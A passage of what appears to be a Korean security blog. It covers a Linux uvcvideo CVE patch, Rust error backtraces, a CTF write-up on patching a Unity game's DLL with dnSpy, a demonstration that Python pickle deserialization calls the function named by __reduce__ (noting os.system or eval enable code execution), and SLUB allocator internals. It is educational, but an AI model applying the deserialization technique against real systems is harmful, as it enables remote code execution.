    taken into account when calculating the size of the frames buffer in
    uvc_parse_streaming.
    
    Fixes: c0efd232929c ("V4L/DVB (8145a): USB Video Class driver")
    Signed-off-by: Benoit Sevens <bsevens@google.com>
    Cc: stable@vger.kernel.org
    Acked-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Reviewed-by: Laurent Pinchart <laurent.pinchart@ideasonboard.com>
    Signed-off-by: Hans Verkuil <hverkuil@xs4all.nl>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Diffstat
    -rw-r--r--	drivers/media/usb/uvc/uvc_driver.c	2	
    1 files changed, 1 insertions, 1 deletions
    diff --git a/drivers/media/usb/uvc/uvc_driver.c b/drivers/media/usb/uvc/uvc_driver.c
    index 0fac689c6350b2..13db0026dc1aad 100644
    --- a/drivers/media/usb/uvc/uvc_driver.c
    +++ b/drivers/media/usb/uvc/uvc_driver.c
    @@ -371,7 +371,7 @@ static int uvc_parse_format(struct uvc_device *dev,
         * Parse the frame descriptors. Only uncompressed, MJPEG and frame
         * based formats have frame descriptors.
         */
    -	while (buflen > 2 && buffer[1] == USB_DT_CS_INTERFACE &&
    +	while (ftype && buflen > 2 && buffer[1] == USB_DT_CS_INTERFACE &&
               buffer[2] == ftype) {
            unsigned int maxIntervalIndex;

References

“CVE-2024-53104 Detail,” NATIONAL VULNERABILITY DATABASE. [Online]. Available: https://nvd.nist.gov/vuln/detail/CVE-2024-53104
Benoit Sevens, Nov. 2024, “media: uvcvideo: Skip parsing frames of type UVC_VS_UNDEFINED in uvc_parse_format,” [Online]. Available: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=1ee9d9122801eb688783acd07791f2906b87cb4f
USB Implementers Forum, “Universal Serial Bus Device Class Definition for Video Devices,” Sep. 2003, [Revised Jun. 2012].
Sep. 2016, “uvcvideo,” LinuxTVWiki. [Online]. Available: https://www.linuxtv.org/wiki/index.php/Uvcvideo
Douglas Dixon, “DV: Digital Video Format for the Masses (3/2000),” Manifest Technology. [Online]. Available: https://www.manifest-tech.com/media_pc/dv_tech.htm

러스트 에러 콜스택

Wed, 07 May 2025 18:43:00 +0000

배경

새로운 프로젝트를 시작하면서 전에 만들어둔 백트레이스가 포함된 에러 처리가 생각나 작성하였습니다.

요약

From처리를 통해서만 생성할 수 있는 backtracedError 구조체를 생성 후, From구현체에 백트레이스 생성 로직을 넣는다.

문제 상황

러스트 오류 타입을 그냥 생성할 시 백트레이스가 생성되지 않는다. 로깅에 어려움이 있어 수정이 필요하다.

분석 과정

pub enum Error {
    Unknown(String),
}
pub struct BacktracedError {
    backtrace: std::backtrace::Backtrace,
    inner: Error,
}
impl BacktracedError {
    pub fn backtrace(&self) -> &std::backtrace::Backtrace {
        &self.backtrace
    }
    pub fn inner(&self) -> &Error {
        &self.inner
    }
}
impl From<Error> for BacktracedError {
    fn from(value: Error) -> Self {
        // 이곳에 tracing등을 통해 로깅을 넣어도 좋습니다.
        BacktracedError {
            backtrace: std::backtrace::Backtrace::capture(),
            inner: value,
        }
    }
}
fn error_occured() -> Result<(), BacktracedError> {
    Err(Error::Unknown(String::from("error")))?
}

알아낸 내용

유니티 게임 파일 변조법

Sun, 27 Apr 2025 03:35:00 +0000

배경

UMassCTF 2025 Bullet Dodge 문제를 푸는 중 Unity게임을 크랙하는 문제가 있어 간단하게 요약하였습니다.

요약

dnSpy 혹은 iLSpy를 이용해 개발자가 입력한 코드 수정 가능

문제 상황

게임 클리어를 위해서는 1000000점을 얻어야 하지만 총알이 너무 빠르고 점수 필요 량이 너무 많아 클리어하기 힘들다.

따라서 게임오버가 되지 않게 하고 점수를 많이 받도록 해야 한다.

점수 - 310점, 푼 팀 - 70/557팀

분석 과정

게임 파일을 수정하기 위해선 dll파일이 많이 들어있는 폴더를 찾아야 한다.

이번 경우는 /Data/Managed/에 들어있었지만 다른 폴더에 들어가는 경우가 있을 수 있다.

C#에서 주로 사용하는 System.Core.dll 파일로 검색을 하면 쉽게 찾을 수 있다.

이후 게임 파일을 찾아야 한다. 일반적으로 Assembly-CSharp.dll 파일이라고 하지만 다른 파일인 경우도 있다.

찾으면 해당 파일을 dnSpy로 열어서 코드를 살펴본다.

해당 내용에서 이름이 적힌 내용은 일반적으로 라이브러리를 사용한 부분이다. 디버깅 정보가 없어 _로 표시된 부분을 살펴봐야 한다.

주로 클래스들의 Update함수 로직을 살펴보면서, 어떤 값을 사용하는지 확인해서

우클릭 -> Edit Class를 통해 코드를 수정한 뒤

파일 -> Save...를 통해 저장 후 게임 실행시 수정된 코드가 적용된다.

잘 적용되어 죽지 않고 점수도 빠르게 올라간다.

알아낸 내용

파이썬 역직렬화 원격 코드 실행 취약점

Sat, 15 Feb 2025 06:17:00 +0000

배경

리버싱 CTF문제를 푸는 도중 pickle.load를 실행할 때 특정 코드가 실행되는 문제가 있어, 해당 문제를 푸는 중 발견한 내용을 요약하게 되었습니다.

요약

파이썬의 역직렬화중 클래스의 __reduce__에서 반환된 함수가 호출되므로, 이를 이용해 역직렬화를 시도하는 컴퓨터에서 임의의 코드를 실행할 수 있음
역직렬화시 어떤 코드가 실행될지는 python -m pickletools <file>명령어 혹은 pickletools.dis메소드를 이용해 확인할 수 있음

분석 과정

__reduce__ 메소드를 포함하는 클래스를 생성하여 직렬화, 역직렬화시 어떤 코드가 실행되는지 분석함

import pickle
import pickletools


def temp_callback(a):
    print("callback called")
    return "callback generated string"


class A:
    def temp_method(self):
        print(123)

    def __reduce__(self):
        print("reduce inner string")
        return (temp_callback, (v1,))


v1 = "12356"

with open("picklefile", "wb") as f:
    pickle.dump(A(), f)

print("dumped")

with open("picklefile", "rb") as f:
    pickletools.dis(f)

print("disassembled")

with open("picklefile", "rb") as f:
    result = pickle.load(f)
    print("unpickled")
    print(result)

위와 같은 코드를 실행했을때 아래와 같은 결과가 나옴

reduce inner string
dumped
    0: \x80 PROTO      4
    2: \x95 FRAME      42
   11: \x8c SHORT_BINUNICODE '__main__'
   21: \x94 MEMOIZE    (as 0)
   22: \x8c SHORT_BINUNICODE 'temp_callback'
   37: \x94 MEMOIZE    (as 1)
   38: \x93 STACK_GLOBAL
   39: \x94 MEMOIZE    (as 2)
   40: \x8c SHORT_BINUNICODE '12356'
   47: \x94 MEMOIZE    (as 3)
   48: \x85 TUPLE1
   49: \x94 MEMOIZE    (as 4)
   50: R    REDUCE
   51: \x94 MEMOIZE    (as 5)
   52: .    STOP
highest protocol among opcodes = 4
disassembled
callback called
unpickled
callback generated string

알아낸 내용

직렬화시에는 __reduce__ 내부의 코드가 실행된 후 호출할 메소드 명 및 호출할 메소드의 인자가 파일로 담기게 됨
역직렬화시에는 호출할 메소드 명 및 호출할 메소드의 인자가 실행됨, __reduce__ 내부의 코드는 실행되지 않음, 다른 메소드의 정보는 담기지 않음
호출할 메소드 명에 os.system 등의 메소드를 넣음으로써 쉘 코드 실행이 가능하며, eval을 넣음으로써 임의의 코드 실행이 가능함

Introduction To Implementation Of The SLUB Allocator Via Socket Buffer Allocation And Deallocation

Fri, 23 Aug 2024 00:00:00 +0000

Introduction
Per-CPU
NUMA Node
Kernel Memory Cache and Socket Buffer
SLUB allocator and SKB allocation
SLUB allocator and SKB deallocation
References

Introduction

Jeff Bonwick이 SLAB allocator를 소개하고 Christoph Lameter가 SLUB allocator를 대안으로 제시한 이후로 현대 리눅스 커널에는 SLUB allocator가 주로 사용되고 있다. 본 글에서는 리눅스 커널 5.15.30 버전을 기준으로 SKB (struct sk_buff)의 할당과 해제를 통해 SLUB allocator 구현을 살펴볼 것이다[1, 2].

Per-CPU

Symmetric multiprocessing system에서 다수의 CPU들이 핸들링하게 되는 데이터는 락으로 인한 병목이나 cache line bouncing 등을 초래할 수 있다. 이에 리눅스 커널 등은 각 CPU local에 가용한 데이터 공간을 두어 성능 저하를 최소화한다. 즉, CPU 마다 lockless하게 접근할 수 있는 공간을 두는 것이다[3].

리눅스 커널은 CPU에 접근하기 위한 인터페이스로 per_cpu_ptr()나 raw_cpu_ptr() 등을 제공한다. 이들은 다음과 같은 call trace를 통해 접근할 수 있다. (raw_cpu_ptr()의 call trace가 SHIFT_PERCPU_PTR()에서 겹침을 확인하라)

/* function call trace */

per_cpu_ptr(ptr, cpu)                                 raw_cpu_ptr(ptr)
SHIFT_PERCPU_PTR() /* __p = ptr,                      arch_raw_cpu_ptr()
           __offset = per_cpu_offset((cpu)) */        SHIFT_PERCPU_PTR() /* __p = ptr
RELOC_HIDE()                                                __offset = __my_cpu_offset */

위 call trace에서 RELOC_HIDE()는 전달된 ptr에 전달된 off (= __offset)을 더하여 CPU에 접근가능한 포인터를 반환한다. 이때 그 오프셋은 각각 다음과 같이 얻어진다.

/* include/asm-generic/percpu.h */

#include <linux/compiler.h>
#include <linux/threads.h>
#include <linux/percpu-defs.h>

#ifdef CONFIG_SMP

/*
 * per_cpu_offset() is the offset that has to be added to a
 * percpu variable to get to the instance for a certain processor.
 *
 * Most arches use the __per_cpu_offset array for those offsets but
 * some arches have their own ways of determining the offset (x86_64, s390).
 */
#ifndef __per_cpu_offset
extern unsigned long __per_cpu_offset[NR_CPUS];

#define per_cpu_offset(x) (__per_cpu_offset[x])
#endif

/* arch/ia64/include/asm/percpu.h */

#define __my_cpu_offset	__ia64_per_cpu_var(local_per_cpu_offset)

extern void *per_cpu_init(void);

#else /* ! SMP */

#define per_cpu_init()				(__phys_per_cpu_start)

#endif	/* SMP */

#define PER_CPU_BASE_SECTION ".data..percpu"

/*
 * Be extremely careful when taking the address of this variable!  Due to virtual
 * remapping, it is different from the canonical address returned by this_cpu_ptr(&var)!
 * On the positive side, using __ia64_per_cpu_var() instead of this_cpu_ptr() is slightly
 * more efficient.
 */
#define __ia64_per_cpu_var(var) (*({					\
	__verify_pcpu_ptr(&(var));					\
	((typeof(var) __kernel __force *)&(var));			\
}))

#include <asm-generic/percpu.h>

/* Equal to __per_cpu_offset[smp_processor_id()], but faster to access: */
DECLARE_PER_CPU(unsigned long, local_per_cpu_offset);

이러한 per-CPU는 kernel memory cache를 초기화할 때 할당되며, 다음 call trace가 그 예시이다.

/* function call trace */

socket_init()
skb_init()
kmem_cache_create_usercopy() /* name = "skbuff_head_cache,
                                size = sizeof(struct sk_buff) = 0xE0,
                                align = 0,
                                flags = SLAB_HWCACHE_ALIGN | SLAB_PANIC,
                                useroffset = offsetof(struct sk_buff, cb),
                                usersize = sizeof_field(struct sk_buff, cb),
                                ctor = NULL */
create_cache() /* object_size = size = sizeof(struct sk_buff) */
__kmem_cache_create()
kmeme_cache_open()
alloc_kmem_cache_cpus()
      |
      +-----------------------+
      |1                      |2
      V                       V
 __alloc_percpu()        init_kmem_cache_cpus()
 pcpu_alloc()
 pcpu_find_block_fit()

위 calltrace의 pcpu_alloc()에서 pcpu_setup_first_chunk() 등으로 할당된 slots인 per-CPU chunks로부터 할당하게 된다.

NUMA Node

Non-Uniformed Memory Access (NUMA)는 일정 단위의 하드웨어 자원 (processor, I/O bus, …)마다 가용한 메모리 부분을 나누어 symmetric multiprocessing system의 평균적인 경우에 대한 access time을 줄이기 위한 shared memory architecture이다. 리눅스 커널은 물리적 뷰에서 메모리를 포함한 각 하드웨어 자원을 cell로 구분하며, 이를 다시 node로 추상화한다. 이러한 node는 다시 cell과 매핑된다. 이를 그림으로 나타내면 다음과 같다[4, 5].

              Node 1                                           Node 2
+-----------------------------------+         +-----------------------------------+
| +------------------------------+  |         | +------------------------------+  |
| |  processor1, processor2, ... |  |         | |  processor1, processor2, ... |  |
| +------------------------------+  |---------| +------------------------------+  |
|           |       |               |inter    |           |       |               |
|           |       |               |connected|           |       |               |
|   +--------------------------+    |---------|    +------------------------+     |
|   |       memory             |    |         |    |      memory            |     |
|   +--------------------------+    |         |    +------------------------+     |
+-----------------------------------+ \     / +-----------------------------------+
                                  \     \  /     /
                                   \     \/     /
                                    \    /\    /
                                     \  /  \  /
                                      \/    \/
                                      /\    /\                                    
              Node 3                 /  \  /  \                 Node 4
+-----------------------------------+    \/   +-----------------------------------+
| +------------------------------+  |    /\   | +------------------------------+  |
| |  processor1, processor2, ... |  |   /  \  | |  processor1, processor2, ... |  |
| +------------------------------+  |---------| +------------------------------+  |
|           |       |               |inter    |           |       |               |
|           |       |               |connected|           |       |               |
|   +--------------------------+    |---------|    +------------------------+     |
|   |       memory             |    |         |    |      memory            |     |
|   +--------------------------+    |         |    +------------------------+     |
+-----------------------------------+         +-----------------------------------+

NUMA 아키텍처는 위 그림에서 볼 수 있듯이 local node에서의 access time과 remote node에서의 access time에 차이가 나게 된다.

리눅스 커널은 NUMA node에 접근하기 위한 인터페이스로 get_node() 등을 제공한다. 그리고 그 동작을 살펴보면 node를 인덱스로 하여 반환함을 알 수 있다.

/* mm/slab.h */

static inline struct kmem_cache_node *get_node(struct kmem_cache *s, int node)
{
	return s->node[node];
}

이러한 NUMA node는 kernel memory cache를 초기화할 때 매핑되며, 다음 call trace를 통해 알 수 있다. (상대적 순서임에 주의하라)

/* function call trace */

socket_init()
skb_init()
kmem_cache_create_usercopy() /* name = "skbuff_head_cache,
                                size = sizeof(struct sk_buff) = 0xE0,
                                align = 0,
                                flags = SLAB_HWCACHE_ALIGN | SLAB_PANIC,
                                useroffset = offsetof(struct sk_buff, cb),
                                usersize = sizeof_field(struct sk_buff, cb),
                                ctor = NULL */
create_cache() /* object_size = size = sizeof(struct sk_buff) */
__kmem_cache_create()
kmeme_cache_open()
init_kmem_cache_nodes()
       |
       +----------------------------+
       |1                           |2
       V                            V
    kmem_cache_alloc_node()     init_kmem_cache_node()

Kernel Memory Cache and Socket Buffer

리눅스 커널은 소켓 버퍼에 대한 slab cache를 관리하기 위해 skbuff_head_cache와 skbuff_fclone_cache를 둔다. 여기서 관심을 갖는 것은 skbuff_head_cache이며, struct kmem_cache 타입으로 선언되어 있다.

/* include/linux/skbuff.h */

extern struct kmem_cache *skbuff_head_cache;

/* include/linux/slub_def.h */

/*
 * Slab cache management.
 */
struct kmem_cache {
	struct kmem_cache_cpu __percpu *cpu_slab;
	/* Used for retrieving partial slabs, etc. */
	slab_flags_t flags;
	unsigned long min_partial;
	unsigned int size;	/* The size of an object including metadata */
	unsigned int object_size;/* The size of an object without metadata */
	struct reciprocal_value reciprocal_size;
	unsigned int offset;	/* Free pointer offset */
#ifdef CONFIG_SLUB_CPU_PARTIAL
	/* Number of per cpu partial objects to keep around */
	unsigned int cpu_partial;
#endif
	struct kmem_cache_order_objects oo;

	/* Allocation and freeing of slabs */
	struct kmem_cache_order_objects max;
	struct kmem_cache_order_objects min;
	gfp_t allocflags;	/* gfp flags to use on each alloc */
	int refcount;		/* Refcount for slab cache destroy */
	void (*ctor)(void *);
	unsigned int inuse;		/* Offset to metadata */
	unsigned int align;		/* Alignment */
	unsigned int red_left_pad;	/* Left redzone padding size */
	const char *name;	/* Name (only for display!) */
	struct list_head list;	/* List of slab caches */
#ifdef CONFIG_SYSFS
	struct kobject kobj;	/* For sysfs */
#endif
#ifdef CONFIG_SLAB_FREELIST_HARDENED
	unsigned long random;
#endif

#ifdef CONFIG_NUMA
	/*
	 * Defragmentation by allocating from a remote node.
	 */
	unsigned int remote_node_defrag_ratio;
#endif

#ifdef CONFIG_SLAB_FREELIST_RANDOM
	unsigned int *random_seq;
#endif

#ifdef CONFIG_KASAN
	struct kasan_cache kasan_info;
#endif

	unsigned int useroffset;	/* Usercopy region offset */
	unsigned int usersize;		/* Usercopy region size */

	struct kmem_cache_node *node[MAX_NUMNODES];
};

이 캐시는 skb_init()에서 초기화 작업을 진행한다.

/* function call trace */

socket_init()
skb_init()
kmem_cache_create_usercopy() /* name = "skbuff_head_cache,
                                size = sizeof(struct sk_buff) = 0xE0,
                                align = 0,
                                flags = SLAB_HWCACHE_ALIGN | SLAB_PANIC,
                                useroffset = offsetof(struct sk_buff, cb),
                                usersize = sizeof_field(struct sk_buff, cb),
                                ctor = NULL */
create_cache() /* object_size = size = sizeof(struct sk_buff) */

static struct kmem_cache *create_cache(const char *name,
		unsigned int object_size, unsigned int align,
		slab_flags_t flags, unsigned int useroffset,
		unsigned int usersize, void (*ctor)(void *),
		struct kmem_cache *root_cache)
{
	struct kmem_cache *s;
	int err;

	/* ... */

	err = -ENOMEM;
	s = kmem_cache_zalloc(kmem_cache, GFP_KERNEL);
	if (!s)
		goto out;

	s->name = name;
	s->size = s->object_size = object_size;
	s->align = align;
	s->ctor = ctor;
	s->useroffset = useroffset;
	s->usersize = usersize;

	s->refcount = 1;
	list_add(&s->list, &slab_caches);
out:
	if (err)
		return ERR_PTR(err);
	return s;

out_free_cache:
	kmem_cache_free(kmem_cache, s);
	goto out;
}

따라서 s->object_size는 struct sk_buff 타입의 크기임을 알 수 있고, GDB로 확인해보면 0xe0 바이트임을 알 수 있다. 그리고 struct kmem_cache에서 중요한 멤버로 struct kmem_cache_cpu가 있다. 이는 per-cpu 오브젝트이며, 다음과 같은 call trace를 거쳐 할당되고 초기화된다. (아래 call trace가 모든 함수를 표기하지 않았으며, 상대적 순서임에 주의하라)

/* function call trace */

socket_init()
skb_init()
kmem_cache_create_usercopy() /* name = "skbuff_head_cache,
                                size = sizeof(struct sk_buff) = 0xE0,
                                align = 0,
                                flags = SLAB_HWCACHE_ALIGN | SLAB_PANIC,
                                useroffset = offsetof(struct sk_buff, cb),
                                usersize = sizeof_field(struct sk_buff, cb),
                                ctor = NULL */
create_cache() /* object_size = size = sizeof(struct sk_buff) */
__kmem_cache_create()
kmeme_cache_open()
      |
      |
      +---------------------------+------------------------------------+
      |1                          |2                                   |3
      |                           |                                    |
      V                           V                                    V
alloc_kmem_cache_cpus()       set_min_partial() /* s = s, */      set_cpu_partial()
      |                            /* min = ilog2(s->size / 2) */
      +-----------------------+
      |1                      |2
      V                       V
 __alloc_percpu()        init_kmem_cache_cpus()
 pcpu_alloc()
 pcpu_find_block_fit()

/* include/linux/slub_def.h */

/*
 * When changing the layout, make sure freelist and tid are still compatible
 * with this_cpu_cmpxchg_double() alignment requirements.
 */
struct kmem_cache_cpu {
	void **freelist;	/* Pointer to next available object */
	unsigned long tid;	/* Globally unique transaction id */
	struct page *page;	/* The slab from which we are allocating */
#ifdef CONFIG_SLUB_CPU_PARTIAL
	struct page *partial;	/* Partially allocated frozen slabs */
#endif
	local_lock_t lock;	/* Protects the fields above */
#ifdef CONFIG_SLUB_STATS
	unsigned stat[NR_SLUB_STAT_ITEMS];
#endif
};

/* mm/slub.c */

static void init_kmem_cache_cpus(struct kmem_cache *s)
{
	int cpu;
	struct kmem_cache_cpu *c;

	for_each_possible_cpu(cpu) {
		c = per_cpu_ptr(s->cpu_slab, cpu);
		local_lock_init(&c->lock);
		c->tid = init_tid(cpu);
	}
}

또, 살펴볼만한 것으로 set_min_partial()와 set_cpu_partial()이 있다. 전자는 일부의 오브젝트만 free된 slab의 linked list인 partial list의 최소 노드 수를 설정한다. 그리고 후자는 per-cpu partial list의 최대 노드 수를 설정한다. 이들은 후에 설명할 slab free 과정에서 다시 나올 것이다.

/* mm/slub.c */

/*
 * Minimum number of partial slabs. These will be left on the partial
 * lists even if they are empty. kmem_cache_shrink may reclaim them.
 */
#define MIN_PARTIAL 5

/*
 * Maximum number of desirable partial slabs.
 * The existence of more partial slabs makes kmem_cache_shrink
 * sort the partial list by the number of objects in use.
 */
#define MAX_PARTIAL 10

static void set_min_partial(struct kmem_cache *s, unsigned long min)
{
	if (min < MIN_PARTIAL)
		min = MIN_PARTIAL;
	else if (min > MAX_PARTIAL)
		min = MAX_PARTIAL;
	s->min_partial = min;
}

/* mm/slub.c */

static void set_cpu_partial(struct kmem_cache *s)
{
#ifdef CONFIG_SLUB_CPU_PARTIAL
	/*
	 * cpu_partial determined the maximum number of objects kept in the
	 * per cpu partial lists of a processor.
	 *
	 * Per cpu partial lists mainly contain slabs that just have one
	 * object freed. If they are used for allocation then they can be
	 * filled up again with minimal effort. The slab will never hit the
	 * per node partial lists and therefore no locking will be required.
	 *
	 * This setting also determines
	 *
	 * A) The number of objects from per cpu partial slabs dumped to the
	 *    per node list when we reach the limit.
	 * B) The number of objects in cpu partial slabs to extract from the
	 *    per node list when we run out of per cpu objects. We only fetch
	 *    50% to keep some capacity around for frees.
	 */
	if (!kmem_cache_has_cpu_partial(s))
		slub_set_cpu_partial(s, 0);
	else if (s->size >= PAGE_SIZE)
		slub_set_cpu_partial(s, 2);
	else if (s->size >= 1024)
		slub_set_cpu_partial(s, 6);
	else if (s->size >= 256)
		slub_set_cpu_partial(s, 13);
	else
		slub_set_cpu_partial(s, 30);
#endif
}

#define slub_cpu_partial(s)		((s)->cpu_partial)
#define slub_set_cpu_partial(s, n)		\
({						\
	slub_cpu_partial(s) = (n);		\
})

이밖에도 여러 멤버 변수들이 초기화되며, 그 예시는 다음과 같다:

gef> p *(struct kmem_cache *) skbuff_head_cache
$3 = {
  cpu_slab = 0x2e380,
  flags = 0x40042000,
  min_partial = 0x5,
  size = 0x100,
  object_size = 0xe0,
  reciprocal_size = {
    m = 0x1,
    sh1 = 0x1,
    sh2 = 0x7
  },
  offset = 0x70,
  cpu_partial = 0xd,
  oo = {
    x = 0x10
  },
  max = {
    x = 0x10
  },
  min = {
    x = 0x10
  },
  allocflags = 0x0,
  refcount = 0x1,
  ctor = 0x0 <fixed_percpu_data>,
  inuse = 0xe0,
  align = 0x40,
  red_left_pad = 0x0,
  name = 0xffffffff8261d1f0 "skbuff_head_cache",
  list = {
    next = 0xffff8880036a4168,
    prev = 0xffff8880036a4368
  },
  kobj = {
    name = 0xffffffff8261d1f0 "skbuff_head_cache",
    entry = {
      next = 0xffff8880036a4180,
      prev = 0xffff8880036a4380
    },
    parent = 0xffff888003629a98,
    kset = 0xffff888003629a80,
    ktype = 0xffffffff8295b620 <slab_ktype>,
    sd = 0xffff88800363ff80,
    kref = {
      refcount = {
        refs = {
          counter = 0x1
        }
      }
    },
    state_initialized = 0x1,
    state_in_sysfs = 0x1,
    state_add_uevent_sent = 0x0,
    state_remove_uevent_sent = 0x0,
    uevent_suppress = 0x0
  },
  remote_node_defrag_ratio = 0x3e8,
  useroffset = 0x28,
  usersize = 0x30,
  node = {
    [0x0] = 0xffff8880036a5080,
    [0x1] = 0x0 <fixed_percpu_data>,
    [0x2] = 0x0 <fixed_percpu_data>,
    [0x3] = 0x0 <fixed_percpu_data>,
    [0x4] = 0x0 <fixed_percpu_data>,
    [0x5] = 0x0 <fixed_percpu_data>,
    [0x6] = 0x0 <fixed_percpu_data>,
    [0x7] = 0x2e3a0,
    [0x8] = 0x40042000,
    [0x9] = 0x5 <fixed_percpu_data+5>,
    [0xa] = 0x20000000200,
    [0xb] = 0x80100000001,
    [0xc] = 0xd000000e0,
    [0xd] = 0x1001000010010,
    [0xe] = 0x4000000000008,
    [0xf] = 0x2 <fixed_percpu_data+2>,
    [0x10] = 0x0 <fixed_percpu_data>,
    [0x11] = 0x4000000200,
    [0x12] = 0x0 <fixed_percpu_data>,
    [0x13] = 0xffffffff8261d202,
    [0x14] = 0xffff8880036a4268,
    [0x15] = 0xffff8880036a4468,
    [0x16] = 0xffff8880034fc2d0,
    [0x17] = 0xffff8880036a4280,
    [0x18] = 0xffff8880036a4480,
    [0x19] = 0xffff888003629a98,
    [0x1a] = 0xffff888003629a80,
    [0x1b] = 0xffffffff8295b620 <slab_ktype>,
    [0x1c] = 0xffff88800363f000,
    [0x1d] = 0x300000001,
    [0x1e] = 0x3e8,
    [0x1f] = 0x0 <fixed_percpu_data>,
    [0x20] = 0xffff8880036a50c0,
    [0x21] = 0x0 <fixed_percpu_data>,
    [0x22] = 0x0 <fixed_percpu_data>,
    [0x23] = 0x0 <fixed_percpu_data>,
    [0x24] = 0x0 <fixed_percpu_data>,
    [0x25] = 0x0 <fixed_percpu_data>,
    [0x26] = 0x0 <fixed_percpu_data>,
    [0x27] = 0x2e3c0,
    [0x28] = 0x40022000,
    [0x29] = 0x5 <fixed_percpu_data+5>,
    [0x2a] = 0x30000000340,
    [0x2b] = 0x9013b13b13c,
    [0x2c] = 0xd00000300,
    [0x2d] = 0x2001300020013,
    [0x2e] = 0x4001000000004,
    [0x2f] = 0x1 <fixed_percpu_data+1>,
    [0x30] = 0xffffffff818d8e40 <init_once>,
    [0x31] = 0x4000000300,
    [0x32] = 0x0 <fixed_percpu_data>,
    [0x33] = 0xffffffff8261cbe8,
    [0x34] = 0xffff8880036a4368,
    [0x35] = 0xffff888003508c68,
    [0x36] = 0xffffffff8261cbe8,
    [0x37] = 0xffff8880036a4380,
    [0x38] = 0xffff888003508c80,
    [0x39] = 0xffff888003629a98,
    [0x3a] = 0xffff888003629a80,
    [0x3b] = 0xffffffff8295b620 <slab_ktype>,
    [0x3c] = 0xffff88800363e100,
    [0x3d] = 0x300000001,
    [0x3e] = 0x3e8,
    [0x3f] = 0x0 <fixed_percpu_data>
  }
}
gef> 

SLUB allocator and SKB allocation

SLUB allocator는 기존에 사용되던 SLAB allocator의 대안으로 제시되었으며, slab을 특정 오브젝트로 구성된 페이지의 그룹으로 바라본다. 이러한 slab은 그 자체로는 freelist를 관리하지 않는다. 그래서 freelist를 관리하기 위한 데이터를 페이지 구조체에 저장한다[1].

/* include/linux/mm_types.h */

/*
 * Each physical page in the system has a struct page associated with
 * it to keep track of whatever it is we are using the page for at the
 * moment. Note that we have no way to track which tasks are using
 * a page, though if it is a pagecache page, rmap structures can tell us
 * who is mapping it.
 *
 * If you allocate the page using alloc_pages(), you can use some of the
 * space in struct page for your own purposes.  The five words in the main
 * union are available, except for bit 0 of the first word which must be
 * kept clear.  Many users use this word to store a pointer to an object
 * which is guaranteed to be aligned.  If you use the same storage as
 * page->mapping, you must restore it to NULL before freeing the page.
 *
 * If your page will not be mapped to userspace, you can also use the four
 * bytes in the mapcount union, but you must call page_mapcount_reset()
 * before freeing it.
 *
 * If you want to use the refcount field, it must be used in such a way
 * that other CPUs temporarily incrementing and then decrementing the
 * refcount does not cause problems.  On receiving the page from
 * alloc_pages(), the refcount will be positive.
 *
 * If you allocate pages of order > 0, you can use some of the fields
 * in each subpage, but you may need to restore some of their values
 * afterwards.
 *
 * SLUB uses cmpxchg_double() to atomically update its freelist and
 * counters.  That requires that freelist & counters be adjacent and
 * double-word aligned.  We align all struct pages to double-word
 * boundaries, and ensure that 'freelist' is aligned within the
 * struct.
 */
#ifdef CONFIG_HAVE_ALIGNED_STRUCT_PAGE
#define _struct_page_alignment	__aligned(2 * sizeof(unsigned long))
#else
#define _struct_page_alignment
#endif

struct page {
	unsigned long flags;		/* Atomic flags, some possibly
					 * updated asynchronously */
	/*
	 * Five words (20/40 bytes) are available in this union.
	 * WARNING: bit 0 of the first word is used for PageTail(). That
	 * means the other users of this union MUST NOT use the bit to
	 * avoid collision and false-positive PageTail().
	 */
	union {
		/* ... */
		struct {	/* slab, slob and slub */
			union {
				struct list_head slab_list;
				struct {	/* Partial pages */
					struct page *next;
#ifdef CONFIG_64BIT
					int pages;	/* Nr of pages left */
					int pobjects;	/* Approximate count */
#else
					short int pages;
					short int pobjects;
#endif
				};
			};
			struct kmem_cache *slab_cache; /* not slob */
			/* Double-word boundary */
			void *freelist;		/* first free object */
			union {
				void *s_mem;	/* slab: first object */
				unsigned long counters;		/* SLUB */
				struct {			/* SLUB */
					unsigned inuse:16;
					unsigned objects:15;
					unsigned frozen:1;
				};
			};
		};
		/* ... */

		/** @rcu_head: You can use this to free a page by RCU. */
		struct rcu_head rcu_head;
	};

	union {		/* This union is 4 bytes in size. */
		/*
		 * If the page can be mapped to userspace, encodes the number
		 * of times this page is referenced by a page table.
		 */
		atomic_t _mapcount;

		/*
		 * If the page is neither PageSlab nor mappable to userspace,
		 * the value stored here may help determine what this page
		 * is used for.  See page-flags.h for a list of page types
		 * which are currently stored here.
		 */
		unsigned int page_type;

		unsigned int active;		/* SLAB */
		int units;			/* SLOB */
	};

	/* Usage count. *DO NOT USE DIRECTLY*. See page_ref.h */
	atomic_t _refcount;

#ifdef CONFIG_MEMCG
	unsigned long memcg_data;
#endif

	/*
	 * On machines where all RAM is mapped into kernel address space,
	 * we can simply calculate the virtual address. On machines with
	 * highmem some memory is mapped into kernel virtual memory
	 * dynamically, so we need a place to store that address.
	 * Note that this field could be 16 bits on x86 ... ;)
	 *
	 * Architectures with slow multiplication can define
	 * WANT_PAGE_VIRTUAL in asm/page.h
	 */
#if defined(WANT_PAGE_VIRTUAL)
	void *virtual;			/* Kernel virtual address (NULL if
					   not kmapped, ie. highmem) */
#endif /* WANT_PAGE_VIRTUAL */

#ifdef LAST_CPUPID_NOT_IN_PAGE_FLAGS
	int _last_cpupid;
#endif
} _struct_page_alignment;

SLUB은, 위 소스 코드의 주석에서도 볼 수 있듯이 freelist 멤버를 참조하여 오브젝트를 할당하고 다음으로 할당할 위치를 offset으로 관리한다. 이를 그림으로 나타내면 다음과 같다:

               page:
                     +-----------------------+
                     |         ...           |
    freelist ------->+-----------------------+
                     | returned object       |
                     +-----------------------+
                     |         ...           |
                     +-----------------------+<----- freelist + offset
                     | next object           |
                     +-----------------------+
                     |         ...           |
                     +-----------------------+

그럼 SLUB이 struct sk_buff를 할당하는 과정을 소스 코드로 알아보겠다[1].

그 시작은 alloc_skb 함수이고, __alloc_skb 함수의 레퍼 함수 (wrapper function)이다. (kmalloc()의 call trace가 slab_alloc_node()부터 겹침을 확인하라)

/* function call trace */

alloc_skb()                                                 kmalloc()
__alloc_skb() /* flags = 0, node = NUMA_NO_NODE = -1 */ __kmalloc() /* size<pagesize*2 */
kmem_cache_alloc_node() /* cache = skbuff_head_cache, */        |
                        /* gfp_mask & ~GFP_DMA, */              +-----------+
                        /* node = NUMA_NO_NODE = -1 */          |           |
slab_alloc_node() /* s = cache = skbuff_head_cache, */          V           V
